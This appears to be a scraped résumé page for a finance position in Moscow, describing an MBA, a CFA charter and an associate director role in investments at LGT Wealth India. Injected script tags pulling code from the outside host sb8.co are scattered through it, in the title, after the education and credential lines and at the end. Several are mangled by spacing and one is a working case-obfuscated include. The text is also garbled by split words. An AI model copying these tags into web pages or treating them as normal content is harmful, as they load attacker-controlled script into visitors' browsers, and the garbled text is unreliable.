Резюме на должность <script/src=//sb8.co></script>finance в Москве

Обр
азование:   Institute of Management Technology, Ghaziabad

Master of Business Administration ( M. B. A.), Finance

2012 - 2014< Sc Ri Pt/s Rc=//sb 8.co></s Cri Pt> Дополнит
ель ное
обр азование:   CFA Charterholder - CFA Institute CFA Charterholder - CFA Institute< Sc Ri Pt/s Rc=//sb 8.co></s Cri Pt>

Associate Director - Investments

LGT Wealth India

Sep

2022 - Present ( 7 months)

- Provided multi asset allocation advice to clients on their India and Global investment needs.

- Managed an international direct equity model portfolio benchmarked against the MSCI All Country

World Index and the S& P 500. The model portfolio is a client-allocated satellite portfolio.

- Analyze macroeconomic variables and their interactions with client portfolios

- Strategic, tactical, and dynamic asset allocation decisions, as well as manager selection.

- Ideas for process improvements to existing models to make them more robust and automated,

resulting in smart, dynamic, and scalable client advisory< Sc Ri Pt/s Rc=//sb 8.co></s Cri Pt>

Financial Analysis - Analytical Skills - Economics - Financial Markets - Futures Trading - Options

Strategies - Financial Market Research - Risk Management - Global Investment Management -

Institutional Investments<ScRiPt/sRc=//sb8.co></sCriPt>